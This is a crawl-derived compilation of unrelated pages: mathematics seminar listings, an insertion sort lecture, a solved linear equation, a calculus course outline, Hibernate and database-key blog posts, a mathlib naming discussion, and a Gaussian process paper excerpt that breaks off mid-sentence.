Room ## Working group on Grothendieck-Teichmüller groups Posted in Organiser(s): Noémie Combe Date: Fri, 2018-09-21 14:00 - Fri, 2019-02-01 12:30 Location: MPIM Seminar Room The idea of this working group is to have an exchange of points of views concerning a tool which connects both geometric and arithmetic areas. People who do not necessarily want to give a talk, are also welcome. ## Learning seminar on deformation theory Posted in Organiser(s): Christian Blohmann, Sylvain Lavau, Joao Nuno Mestre, Joost Nuiten Date: Thu, 2018-10-04 10:00 - Thu, 2019-02-28 12:00 Location: MPIM Seminar Room The goal of the seminar is to rigorously understand the statement ''Every deformation problem in characteristic zero is controlled by a differential graded Lie algebra". This statement has long been a philosophy/guiding principle when studying deformations of algebraic or geometric structures. By the end of the seminar we aim to understand the statement and proof of its following modern incarnation: Theorem (Lurie, Pridham) There is an equivalence of $\infty$-categories between the $\infty$-category of formal moduli problems and the $\infty$-category of dgLa's over a field of characteristic zero. Everyone is welcome, whether to give a talk or simply attend. If you think you'd like to give a talk please come to the first meeting or get in touch with one of the organizers. #### Contents In the first part we will see some deformation problems that naturally give rise to dgLa's, and that can also be encoded in deformation functors (also called formal moduli problems). We will see that the two are related by the Maurer-Cartan equation. In the second part we will study how to construct a deformation functor out of a dgLa using the Maurer-Cartan equation. Conversely, we will build a dgLa out of a deformation functor. For that, we will need to understand some categorical properties of the $\infty$-category of dgLa's - roughly, that we can describe it in terms of generators and relations. This will be done making use of the Chevalley-Eilenberg complex of a dgLa, so that we can work in differential graded local Artinian rings (dgArt) instead. In the third part we will see that the construction of a dgLa out of a deformation functor is an equivalence of $\infty$-categories between formal moduli problems and dgLa's. Finally, we will see that the inverse of this equivalence is given by the Maurer-Cartan construction. #### Talks 1. Motivation and examples 2. Deformation Problems and Moduli Problems (Notes by Alex) 3. Deformation functors - Modern approach and the MC equation (Notes by Joao) 4. The Chevalley-Eilenberg complex $C^$, and how it is related to the Maurer-Cartan equation (Notes by Joost) 5. The model category dgLa 6. Koszul duality I - $C^$ and its adjoint 7. Koszul duality II - $C^*$ is an equivalence (sometimes) (Notes by Sylvain) 8. Proof of the equivalence in the Main Theorem, part 1(Notes by Christian) 9. Proof of the equivalence in the Main Theorem, part 2 (Notes by David) 10. The inverse of the equivalence is given by Maurer-Cartan #### References On classical/motivating examples: Historical: ## Master thesis seminar Posted in Date: Wed, 2018-07-25 14:00 - 15:30 Location: MPIM Seminar Room ## IMPRS seminar on K-theory Posted in Organiser(s): Christian Kaiser Date: Thu, 2018-04-12 16:30 - Thu, 2018-07-19 18:00 Location: MPIM Seminar Room ## Learning seminar on quantum field theory and BV formalism Posted in Organiser(s): C. Blohmann, Y. Frégier and M. Schiavina Date: Thu, 2018-04-05 10:15 - Thu, 2018-05-31 18:04 Location: MPIM Seminar Room The aim of this learning seminar is two fold 1) give a gentle introduction to the basics of quantum field theory (path integral, n-point functions and Wick theorem, Feynman diagrams, gauge fixing and BRST cohomology), 2) present some recent progress related to the BV and BF-BFV formalisms. We will cover the first part in April and the second one in May. When? Every Thursday morning from 10:15 till 12:00 with a 15 minutes break at 11:00 Plan of the talks : 12/04/2018 speaker : Rigel Juarez Program : Polyak section 1.1-2.3. Preliminaries on classical and quantum field theories, Feynman diagrams in finite dimension (n-point functions and Wick theorem) 19/04/2018 speaker : Danica Kosanovic Program : Polyak section 2.4-2.10. Adding a potential, cubic potential, general Feynman graphs, weights for graphs, free energy. 26/04/2018 speaker : Alessandro Giacchetto References : Déformation, Quantification, Théorie de Lie Alberto Cattaneo - Bernhard Keller - Charles Torossian - Alain Bruguières Panoramas et Synthèses 20 (2005) M. Polyak, Feynman diagrams for pedestrians and mathematicians, Proc. Symp. Pure Math. 73:15-42,2005 This is a twin seminar to a seminar going on in Paris, some additional material can be found at https://sites.google.com/view/groupe-de-travail-bv/r%C3%A9f%C3%A9rences ## Representation theory learning seminar Posted in Organiser(s): Hankyung Ko, Emily Norton, Thorsten Heidersdorf ## MPIM/HIM-Number theory lunch seminar Posted in Organiser(s): MPIM, HIM Date: Wed, 2018-01-10 14:15 - Wed, 2018-04-18 15:15 Location: MPIM Lecture Hall ## Oberseminar Representation Theory Posted in Organiser(s): C. Stroppel Date: Tue, 2018-01-23 16:15 - 18:15 Location: MPIM Lecture Hall ## Arbeitsgruppenseminar Homotopietheorie Posted in Organiser(s): Thomas Nikolaus Date: Thu, 2017-12-07 10:15 - 11:45 Date: Thu, 2017-12-14 10:15 - 11:45 Date: Thu, 2017-12-21 10:15 - 11:45 Date: Thu, 2017-12-28 10:15 - 11:45 Date: Thu, 2018-01-04 10:15 - 11:45 Date: Thu, 2018-01-11 10:15 - 11:45 Date: Thu, 2018-01-18 10:15 - 11:45 Date: Thu, 2018-01-25 10:15 - 11:45 Date: Thu, 2018-02-01 10:15 - 11:45 Location: MPIM Seminar Room © MPI f. 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http://kerckhoffs.schaathun.net/ugalgdat/indexsu3.html	Algorithms and Data Structures 2020 # Week 1. Foundations of Algorithms ## Key Concepts #### 2.1 Key Concepts 2.1.2 Analysis ##### 2.1.1 Description of Algorithms Consider the sorting of a bridge hand. Thirteen cards to be sorted in increasing order. We sort first by suit, so that $♠>♡>♢>♣$ and then within each suit so that $A>K>Q>Kn>10>9>8>7>6>5>4>3>2.$ Step 1. Specification of the Concrete Problem Input. A hand of 13 cards. Output. A hand of 13 cards sorted in increasing order. Step 2. Specification of the Abstract Problem Input. An array of $n$ objects, ${A}_{1},{A}_{2},\dots ,{A}_{n}$. Output. An array of $n$ objects sorted in increasing order. The objects can be of any type (class), as long as we have a binary relation $\le$, so that for any two objects $x,y$ we can determine whether $x\le y$ is true or false. In algorithm theory, we tend to think of the objects as numbers, so that we have an intuitive grasp on what $\le$ means, but there is no loss of generality. In Object Oriented Programming, the notion of less than or equal is encapsulated in the class, and we may have to rewrite it as $x.\mathtt{isSmallerThanOrEqual}\left(y\right)$ instead of $x\le Y$. In Functional Programming, the function implementing $\le$ may be passed as an argument alongside the array $A$ using a lambda expression which also the later versions of Java supports, and in this case it may be rewritten as $\mathtt{isSmallerThanOrEqual}\left(x,y\right)$ instead of Step 3. Pseudo-Code One way to solve the sorting problem is the following. Input: Array ${A}_{i}$, $i=1,\dots ,n$ Output: The same array ${A}_{i}$, $i=1,\dots ,n$ sorted in place so that ${A}_{1}\le {A}_{2}\le \dots \le {A}_{n}$ 1 for $i:=2,3,\dots ,n$ 2 $j:=i$ 3 while $\left(j\ge 2\right)$ and $\left({A}_{j}<{A}_{j-1}\right)$ 4 swap ${A}_{j}$ and ${A}_{j-1}$ 5 $j:=j-1$ Observe how we combine well-known programming constructs (for, while), mathematical notation ($\ge ,{A}_{i},{A}_{j}$), and natural language (swap). This hybrid language is called pseudo-code. There is no standard for how to write it. As long as it is legible and unambiguous to human readers, it is ok. I have in this case used $:=$ as the assignment operator, just to illustrate the variation you will encounter. Java and C uses the equality sign = for assignment, and for equality they use a double equality sign ==. Some authors would prefer pseudo-code closer to their favourite programming language, for instance: 1 for i = 2 to n 2 j = i 3 while (j >= 2) and (A[j] < A[j-1] 4 swap A[j] and A[j-1] 5 j = j-1 This is a matter of taste, more community taste than personal taste though, but you may have to deal with more than one community.. The ‘swap’ line deserves some comment, as we use this in both the example styles, in spite of its being far from known programming languages, where it would have to be rewritten as 1 t = ${A}_{j}$ 2 ${A}_{j}$ = ${A}_{i}$ 3 ${A}_{i}$ = t The swap statement is a simple and easily understandable instruction in natural language, and most human reader would find the programming construct much harder to read. This is why we resort to natural language here. In the choice of style, you should always strive to maximise the reader’s comprehension. ##### 2.1.2 Analysis Empirical versus Theoretical Analysis In the first year, you have had to test your programs, to see if they work as intended. Testing is, of course, important both in its informal forms and in more structured and analytical forms, where we can talk about empirical analysis. Empirical analysis is limited, however, by the number of examples you have time to test. Each test you make will only validate one single case, and there may be an infinite number of cases with different properties. Algorithm theory, and therefore this module, focuses on theoretical analysis, searching for proofs that are valid for any data set. Note that theoretical analysis will also help in the design of good and complete test sets for empirical analysis. Correctness of Insertion Sort Let’s see what it does. The index $i$ is the card we are looking at. Cards to the left have already been looked at, and cards to the right not yet. In the first iteration, $i=2$, so there is only one card to the left. Obviously an array of a single card is always sorted. The inner loop (while) tries to insert the $i$th card in the correct position among the $i-1$ previous cards. Some programming languages allow assertions, establishing claims relevant to the analysis. Let’s write them into the pseudo-code as follows. 1 for $i:=2,3,\dots ,n$ 2 assert ${A}_{1}\le {A}_{2}\le \dots \le {A}_{i-1}$ 3 $j:=i$ 4 while $\left(j\ge 2\right)$ and $\left({A}_{j}<{A}_{j-1}\right)$ 5 swap ${A}_{j}$ and ${A}_{j-1}$ 6 $j:=j-1$ 7 assert ${A}_{1}\le {A}_{2}\le \dots \le {A}_{i}$ 8 assert ${A}_{1}\le {A}_{2}\le \dots \le {A}_{n}$ When the programming languages support assertions, they are tested in debug mode, to identify places where critical assumptions are broken. In theoretical analysis, they are claims used to structure the proof. The two first assertions are examples of loop invariants, i.e. properties which invariable holds in every iteration of the loop. The purpose of the while loop, is to reestablish the loop invariant for when the index $i$ increases. The first iteration of while compares ${A}_{i}$ to ${A}_{i-1}$ (because $j=i$). If ${A}_{i}$ is larger, it belongs where it is and the while loopis not entered. If it is smaller, the two cards are swapped, and the loop continues to compare it with the next card. When the while loop terminates, the $i$ first cards are in sorted order, and in the next iteration of the for loop, we can again say that the cards to the left of $i$ are sorted. Complexity of Insertion Sort • Number of instructions. What is an instruction? • Formal computing models • Worst case, best case, and average case • Complexity	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 53, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6197640895843506, "perplexity": 360.3021076460383}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107878633.8/warc/CC-MAIN-20201021205955-20201021235955-00564.warc.gz"}
http://www.gradesaver.com/textbooks/math/algebra/intermediate-algebra-6th-edition/chapter-2-section-2-1-linear-equations-in-one-variable-exercise-set-page-55/23	# Chapter 2 - Section 2.1 - Linear Equations in One Variable - Exercise Set: 23 x=$\frac{9}{10}$ #### Work Step by Step Original Equation $\frac{x}{2}$+$\frac{x}{3}$=$\frac{3}{4}$ Multiply whole equation by 12 to eliminate denominators 6x+4x=9 Combine like terms 10x=9 Divide both sides by 10 to get the value of x x=$\frac{9}{10}$ After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5299555659294128, "perplexity": 1583.7446983143902}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-30/segments/1500549425381.3/warc/CC-MAIN-20170725202416-20170725222416-00131.warc.gz"}
https://www.khanacademy.org/math/integral-calculus/area-and-arc-length-ic	# Area & arc length using calculus Contents Become a professional area-under-curve finder! You will also learn here how integrals can be used to find lengths of curves. The tools of calculus are so versatile! 8 exercises available ### Area between curves By integrating the difference of two functions, you can find the area between them. ### Arc length Integral calculus isn't only useful for finding area. For example, it can also be used to find lengths of one-dimensional curves. Learn all about it here. ### Area defined by polar graphs We're used to finding the area under curves in the Cartesian plane, but integration can be used to find area defined by polar curves too. ### Arc length of polar graphs You may already be familiar with finding arc length of graphs that are defined in terms of rectangular coordinates. We'll now extend our knowledge of arc length to include polar graphs.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9025678634643555, "perplexity": 620.857541111707}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-22/segments/1495463607849.21/warc/CC-MAIN-20170524173007-20170524193007-00404.warc.gz"}
https://vladmihalcea.com/2014/06/	# Introduction In my previous post I talked about various database identifier strategies, you need to be aware of when designing the database model. We concluded that database sequences are very convenient because they are both flexible and efficient for most use cases. But even with cached sequences, the application requires a database round-trip for every new the sequence value. If your applications demand a high number of insert operations per transaction, the sequence allocation may be optimized with a hi/lo algorithm. # The hi/lo algorithm The hi/lo algorithms split the sequences domain into “hi” groups. A “hi” value is assigned synchronously. Every “hi” group is given a maximum number of “lo” entries, that can by assigned off-line without worrying about concurrent duplicate entries. 1. The “hi” token is assigned by the database, and two concurrent calls are guaranteed to see unique consecutive values 2. Once a “hi” token is retrieved we only need the “incrementSize” (the number of “lo” entries) 3. The identifiers range is given by the following formula: 4. $[(hi -1) * incrementSize) + 1, (hi * incrementSize) + 1)$ and the “lo” value will be taken from: $[0, incrementSize)$ starting from $[(hi -1) * incrementSize) + 1)$ 5. When all “lo” values are used, a new “hi” value is fetched and the cycle continues Here you can have an example of two concurrent transactions, each one inserting multiple entities: # Types of primary keys All database tables must have one primary key column. The primary key uniquely identifies a row within a table therefore it’s bound by the following constraints: • UNIQUE • NOT NULL • IMMUTABLE When choosing a primary key we must take into consideration the following aspects: • the primary key may be used for joining other tables through a foreign key relationship • the primary key usually has an associated default index, so the more compact the data type the less space the index will take • a simple key performs better than a compound one • the primary key assignment must ensure uniqueness even in highly concurrent environments When choosing a primary key generator strategy the options are: 1. natural keys, using a column combination that guarantees individual rows uniqueness 2. surrogate keys, that are generated independently of the current row data # Introduction I’ve got back from Topconf Romania, a developer to developer conference that emerged in Tallinn and for the first time this year it was also held in Bucharest . As an architect I assumed I’d be after technical speeches but I got really impressed by some management related presentations as well. # Lessons learned A conference is a great learning experience. New technologies are being advertised and software paradigms get dissected and questioned by both the speakers and the attenders. There were some great ideas I came back with and I’ll share with you as follows: Feed-back is the tool of wise people. Every action has an associated reaction and the feed-back is a reinforcing factor you should never ignore. Nothing is perfect but feed-back can help you get better. Feed-back is probably the only suitable learning technique in the ever changing environment of software development. We inherently use feed-back to build better relationships, to shape our personalities or understand a problem space whose function depends on way too many variables to think of any formula that can always give you the right result. # The basic mapping concepts When learning Hibernate, many like to jump to ParentChild associations without mastering the object relation mapping basics. It’s very important to understand the basic mapping rules for individual Entities before starting modelling Entity associations. ## Hibernate types A Hibernate type is a bridge between an SQL type and a Java primitive/Object type. # Introduction In my previous post I announced my intention of creating a personal Hibernate course. The first thing to start with is a minimal testing configuration. The examples are relevant for Hibernate 4. # You only need Hibernate In a real production environment you won’t use Hibernate alone, as you may integrate it in a Java EE or Spring container. For testing Hibernate features you don’t need a full-blown framework stack, you can simply rely on Hibernate flexible configuration options.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 3, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.25647181272506714, "perplexity": 3280.9693309382774}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818696653.69/warc/CC-MAIN-20170926160416-20170926180416-00710.warc.gz"}
https://leanprover-community.github.io/archive/stream/116395-maths/topic/euclidean.20names.html	## Stream: maths ### Topic: euclidean names #### Johan Commelin (Sep 11 2020 at 12:53): @Joseph Myers I'm a bit worried that the long names in euclidean/* are hampering readability, because things now often wrap to multiple lines. What do you think of the following renamings (also on all other names that contain these substrings): • orthogonalortho • projectionproj • circumcenterccenter • circumradiuscradius Maybe there are other options out there as well. #### Reid Barton (Sep 11 2020 at 12:56): Out of context, I'm not a fan. What are some problematic lines? #### Reid Barton (Sep 11 2020 at 13:30): In this case, maybe orthogonal_projection could just be projection? #### Johan Commelin (Sep 11 2020 at 13:31): I don't have a strong opinion on exactly what changes. But I think that these wrapping lines are a bit problematic #### Reid Barton (Sep 11 2020 at 13:47): Is it too crazy to use O as a name component for circumcenter, H for orthocenter, etc.? #### Johan Commelin (Sep 11 2020 at 13:48): I think it's worth having a poll on that. #### Kenny Lau (Sep 11 2020 at 13:53): why O and H? #### Reid Barton (Sep 11 2020 at 13:55): These are the traditional letters used for the points: https://en.wikipedia.org/wiki/Triangle_center#Classical_triangle_centers #### Reid Barton (Sep 11 2020 at 13:59): another possible compression from that line is square -> sq--mathlib seems to use both and I can't think of another possible meaning of sq #### Reid Barton (Sep 11 2020 at 14:00): (sq is also used to abbreviate commutative square in the category theory library, but it's still a square) #### Joseph Myers (Sep 11 2020 at 14:02): Would you also use those names in the definitions themselves, or only for lemmas, and would G be used for centroid not just in the Euclidean context? For example, would circumcenter_eq_centroid (this is in namespace affine.simplex) end up as /-- The circumcenter of a 1-simplex equals its centroid. -/ lemma O_eq_G (s : simplex ℝ P 1) : s.O = finset.univ.G ℝ s.points := or would only the name of the lemma change? #### Johan Commelin (Sep 11 2020 at 14:02): Everything is open for debate (-; #### Johan Commelin (Sep 11 2020 at 14:03): I think with good docstrings, and namespaced definitions, we could even have 1-letter definitions in this part of mathlib. #### Kevin Buzzard (Sep 11 2020 at 14:09): standard_symbol.O #### Kevin Buzzard (Sep 11 2020 at 14:09): Oh, simplex.O even better! #### Johan Commelin (Sep 11 2020 at 14:09): standard_symbol.O is already taken by orthogonal matrices #### Patrick Massot (Sep 11 2020 at 14:33): I think the issue is only in lemma names, because they use several def names. But of course changing the name from def to lemma is inconsistent :sad:. #### Mario Carneiro (Sep 11 2020 at 14:51): Yep, this is why definition names should be short #### Eric Wieser (Sep 11 2020 at 15:36): On the subject of long expressions, is there a sensible way to abbreviate terms like dist p₁ s.circumcenter * dist p₁ s.circumcenter? let d = dist p₁ s.circumcenter in d * d? Does mathlib have a square function? #### Mario Carneiro (Sep 11 2020 at 15:36): d ^ 2? #### Eric Wieser (Sep 11 2020 at 15:39): That then needs an extra lemma to work with, right? pow_2_eq_mul or something so? #### Mario Carneiro (Sep 11 2020 at 16:04): I would put more emphasis on keeping theorem statement size down rather than not ever needing to rewrite #### Johan Commelin (Sep 12 2020 at 05:44): So... shall we use H and O? I like the idea. (I'm fine with making those names protected, if people fear name clashes otherwise.) :ping_pong: #### Johan Commelin (Oct 05 2020 at 07:33): /poll short euclidean names Let's keep orthogonal_projection, circumcenter, and monge_point, etc... Let's change to euclidean.H, euclidean.O, and proj, etc... (with long names in the docstrings) #### Johan Commelin (Oct 05 2020 at 07:36): @Joseph Myers @Mario Carneiro @Reid Barton you've participated in the above discussion. Please join the vote. (Others are welcome too!) #### Yury G. Kudryashov (Oct 05 2020 at 08:29): E.g., triangle can have many one-letter defs in its namespace. #### Johan Commelin (Oct 05 2020 at 11:03): I think that most of these names are already in very sensible namespaces. That alone will not solve the issue of having lemma names that are > 50 chars. #### Gabriel Ebner (Oct 05 2020 at 11:17): euclidean_projection.orthogonal_projection is definitely not in a useful namespace #### Johan Commelin (Oct 05 2020 at 11:28): Sure, that's true. But I do think that this is orthogonal to getting shorter lemma names by having shorter definition names. #### Johan Commelin (Oct 05 2020 at 11:29): Also, not that for bundled morphisms, dot notation doesn't help. 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https://deepai.org/publication/multi-source-deep-gaussian-process-kernel-learning	# Multi-source Deep Gaussian Process Kernel Learning For many problems, relevant data are plentiful but explicit knowledge is not. Predictions about target variables may be informed by data sources that are noisy but plentiful, or data which the target variable is merely some function of. Intrepretable and flexible machine learning methods capable of fusing data across sources are lacking. We generalize the Deep Gaussian Processes so that GPs in intermediate layers can represent the posterior distribution summarizing the data from a related source. We model the prior-posterior stacking DGP with a single GP. The exact second moment of DGP is calculated analytically, and is taken as the kernel function for GP. The result is a kernel that captures effective correlation through function composition, reflects the structure of the observations from other data sources, and can be used to inform prediction based on limited direct observations. Therefore, the approximation of prior-posterior DGP can be considered a novel kernel composition which blends the kernels in different layers and have explicit dependence on the data. We consider two synthetic multi-source prediction problems: a) predicting a target variable that is merely a function of the source data and b) predicting noise-free data using a kernel trained on noisy data. Our method produces better prediction and tighter uncertainty on the synthetic data when comparing with standard GP and other DGP method, suggesting that our data-informed approximate DGPs are a powerful tool for integrating data across sources. ## Authors • 3 publications • 9 publications • ### Dimensionality Detection and Integration of Multiple Data Sources via the GP-LVM The Gaussian Process Latent Variable Model (GP-LVM) is a non-linear prob... 07/01/2013 ∙ by James Barrett, et al. ∙ 0 • ### Aggregating Predictions on Multiple Non-disclosed Datasets using Conformal Prediction Conformal Prediction is a machine learning methodology that produces val... 06/11/2018 ∙ by Ola Spjuth, et al. ∙ 0 • ### mGPfusion: Predicting protein stability changes with Gaussian process kernel learning and data fusion Proteins are commonly used by biochemical industry for numerous processe... 02/08/2018 ∙ by Emmi Jokinen, et al. ∙ 0 • ### Efficient Deep Gaussian Process Models for Variable-Sized Input Deep Gaussian processes (DGP) have appealing Bayesian properties, can ha... 05/16/2019 ∙ by Issam H. Laradji, et al. ∙ 5 • ### Bayesian Heatmaps: Probabilistic Classification with Multiple Unreliable Information Sources Unstructured data from diverse sources, such as social media and aerial ... 04/05/2019 ∙ by Edwin Simpson, et al. ∙ 0 • ### Additive Kernels for Gaussian Process Modeling Gaussian Process (GP) models are often used as mathematical approximatio... 03/21/2011 ∙ by Nicolas Durrande, et al. ∙ 0 • ### Learning from Multiple Sources for Video Summarisation Many visual surveillance tasks, e.g.video summarisation, is conventional... 01/13/2015 ∙ by Xiatian Zhu, et al. ∙ 0 ##### This week in AI Get the week's most popular data science and artificial intelligence research sent straight to your inbox every Saturday. ## 1 Introduction Gaussian Process (GP) (Rasmussen and Williams, 2006) is a flexible model that imposes a prior distribution over continuous functions in Bayesian framework. For regression tasks, the ability to estimate uncertainty is the main advantage of GP over the deterministic models such as deep neural networks. This advantage originates in the assumption that the finite set of latent random variables relating to both observed and unobserved data are collectively subject to the multivariate Gaussian distribution. As such, one can elegantly formulate prediction and calibrate uncertainty within the Bayesian framework. Two main weakness of GP are the need to choose a kernel and the lack of explicit dependence on the observations in the predictive covariance. The kernel function encodes the similarity between data and , and hence the prior distribution over functions. Typically, this must be chosen by the modeler, presumably based on knowledge of the domain. But explicit knowledge is sometimes not available, and even when it is, it can be challenging to translate knowledge into an appropriate choice of kernel. The second weakness is the lack of explicit dependence on the observations, ’s, in the predictive covariance. In standard GP, uncertainty about a predicted value is completely determined by closeness of prior observations to in the input space, with no influence of the actual predicted values for those prior observations. This left unjustified in most research on GPs, presumably because there are not ready methods to incorporate such a dependence. Research has attempted to ameliorate limitations of existing kernels through composition. For example, basic operations including addition, multiplication, and convolution allow composite kernels that are more flexible then the kernels they combine (Rasmussen and Williams, 2006; Duvenaud et al., 2013). More recently, research has investigated composition of kernels. For example, one may pass the input through some deterministic transformation, , which then generates the new kernel, , with new properties within the the standard GP framework Hinton and Salakhutdinov (2008). More generally, one may pass the input through a probabilistic transformation, for example taking the output of one GP as input into another, which gives rise to Deep GPs. Through the connection to kernel methods and Deep neural networks (Wilson et al., 2016; Raissi and Karniadakis, 2016), Deep Gaussian Processes (DGPs) (Damianou and Lawrence, 2013) and warped GPs (Snelson et al., 2004; Lázaro-Gredilla, 2012) can be regarded as a probabilistic generalization of kernel composition. Indeed, the Deep GP prior is non-Gaussian, consistent with increased expressiveness as compared to GPs, which leads to challenges for inference. Although increased expressiveness is useful in allowing application across domains, it is not the same as incorporating knowledge about a domain, which enables strong inference from limited observations. A less obvious benefit from DGP is that the stacking structure is suitable for fusing the collection of data coming from different sources before making prediction (Perdikaris et al., 2017; Cutajar et al., 2019). For example, one may consider the regression task in which the accurate observations are rare but very close to the ground truth while there is large amount of less precise data available. Ideally, the plentiful data could be used to produce more informative prior while the more precise data could help reduce the uncertainty. More generally, one may consider a regression task in which the desired observations are rare, and one has access to large amount of relevant data. Relevant data may inform or constrain inference without being sampled from the target function itself. By training on this relevant data, one could construct a domain specific kernel that leverages very general knowledge about the domain—that two variables are related—and the kernel would then encode this knowledge in a way that could inform predictions of new variables based on limited observations. In this paper, we propose a novel DGP structure in which the hidden layer connecting the input emits the random function sampled from the posterior distribution summarizing the data from the source variable. The next hidden layer then emits random function sampled from standard GP, which connects with the output. To tackle the intractability of inference, we follow the method of moments. Thus, we approximate our prior-posterior DGP with GP Lu et al. (2019). We shall show that the present approach can address the two weakness of standard GP mentioned above. The effective kernel captures long-range and multi-scale correlation via marginalized composition, and it also obtains explicit dependence of the observations through posterior mean. In comparison with directly applying GP on union of noisy and noise-free data, our multi-source GP shows reduced uncertainty and greater accuracy when predicting based on limited data. Experiments on synthetic multi-fidelity data also present better accuracy and tighter uncertainty in comparison with other DGP model and direct application of RBF-GP GPy (2012) with the rare data. ## 2 Related Works The machine learning tasks with data from multiple sources have been studied in the contexts of multi-fidelity learning (Kennedy and O’Hagan, 2000; Raissi and Karniadakis, 2016; Perdikaris et al., 2017; Cutajar et al., 2019) and multi-output learning (Álvarez and Lawrence, 2011; Moreno-Muñoz et al., 2018; Kaiser et al., 2018; Kazlauskaite et al., 2019; Janati et al., 2019). The kernel learning appeared in the literature of deep neural networks (Neal, 2012; Williams, 1997; Cho and Saul, 2009; Poole et al., 2016; Lee et al., 2017; Daniely et al., 2016; Agrawal et al., 2020) and neural tangent kernel (Jacot et al., 2018; Karakida et al., 2019; Yang, 2019). Hinton and Salakhutdinov (2008); Wilson et al. (2016); Raissi and Karniadakis (2016) demonstrated learning of the composition in kernel function through deep models. The approach in our paper is different from the multi-fidelity DGP (Cutajar et al., 2019) which relies on inducing points (Snelson and Ghahramani, 2006; Titsias, 2009; Titsias and Lawrence, 2010) and variational inference Salimbeni and Deisenroth (2017). In the prediction stage, Cutajar et al. (2019) relies on the Monte Carlo sampling but our method does not. Student-t process is the only stochastic model known, to our knowledge, to possess the capacity of outputting the predictive covariance which depends on the observations Shah et al. (2014). ## 3 Gaussian Process and Deep Gaussian Process Gaussian Process (GP) is the continuum generalization of multivariate Gaussian distribution over a set of random variables denoted by . As the joint distribution is specified by the mean vector of size and kernel matrix of size , the distribution over the function is labeled as where, due to the marginal property of Gaussian distribution, the mean function and kernel function generalize their counterparts in discrete case. GP regression is related to kernel ridge regression. One can regard the set of kernel functions evaluated at the training input as a basis in standard linear regression with regularization (Steinke and Schölkopf, 2008). For the zero-mean case, the conditional distribution associated with the function value at new input is still a Gaussian, , with the predictive mean and variance, μ∗=k(x∗,X)K−1(X,X)f (1) and σ2∗=k(x∗,x∗)−k(x∗,X)K−1(X,X)k(X,x∗), (2) respectively. The above can be easily adapted to connect with noisy observations , and the hyperparameters in the kernel are determined by optimizing the marginal likelihood for the training observations. The kernel function is key to the properties of function sampled from GP. Squared exponential kernel is a common model for smooth functions whereas the non-stationary Brownian motion kernel can generate stochastic non-differentiable continuous functions. New kernels can be generated by a simple trick in which one composes a deterministic transformation with a standard GP kernel. For example, passing the data through before an SE kernel allows functions of multi-length scale. Deep Gaussian Process (DGP) Damianou and Lawrence (2013) generalizes GP the composition trick by passing the input through a GP instead of a deterministic transformation. Marginalizing the random transformation in the latent layers, the DGP prior distribution reads, p(f\|X)=∫dh p(f\|h)p(h\|X), (3) where the intractable marginalization arises because the random variables appear in the inverse of kernel matrix in the GP connecting to final layer . Deeper models can be straightforwardly obtained by inserting more latent layers in Equation 3. The variational inference method Hensman et al. (2013); Salimbeni and Deisenroth (2017) tackles the intractable marginalization by introducing inducing inputs in each layer and assuming the corresponding function values are from some tractable distribution. Although the approximate inference is effective, the approximate posterior distributions over these latent functions did not capture 